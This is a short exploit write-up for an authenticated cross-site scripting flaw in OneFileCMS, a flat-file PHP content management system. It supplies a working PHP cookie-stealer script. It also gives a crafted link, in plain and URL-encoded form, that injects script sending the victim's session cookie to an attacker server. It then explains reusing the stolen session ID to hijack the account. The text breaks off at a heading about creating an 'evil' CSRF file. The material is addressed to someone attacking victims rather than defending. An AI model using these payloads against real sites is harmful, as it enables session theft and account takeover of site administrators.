描述
===============
OneFileCMS is just that. It's a flat, light, one file CMS (Content Management System) entirely contained in an easy-to-implement, highly customizable, database-less PHP script. Coupling a utilitarian code editor with all the basic necessities of an FTP application, OneFileCMS can maintain a whole website completely in-browser without any external programs.
=======================================================
[!] All vulnerabilities requires authentication. [!]
=======================================================
============================================
0x01. Cross Site Scripting vulnerability
============================================

[!] Steal the cookie (sessionid) [!]

--- stealer.php ---
<?php
header ('Location:http://www.2cto.com /onefilecms/onefilecms.php?f=index.php');
$cookie = $_GET['cookie'];
$log = fopen("gotit.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);

--- end ---
Send this link to your victim...
http://www.2cto.com /onefilecms/onefilecms.php?p='"><script>document.location="http://ATTACKER_SERVER/stealer.php?cookie="+document.cookie;</script>
...BUT, don't forget to encode it first!!!
http://www.2cto.com /onefilecms/onefilecms.php?p=%27%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%41%54%54%41%43%4B%45%52%5F%53%45%52%56%45%52%2F%73%74%65%61%6C%65%72%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
Now, check the "gotit.txt" file for the cookie.
Replace the value of the "sessionid" with the cookie that you already grab...

[!] Create the evil file "csrf.php" [!]
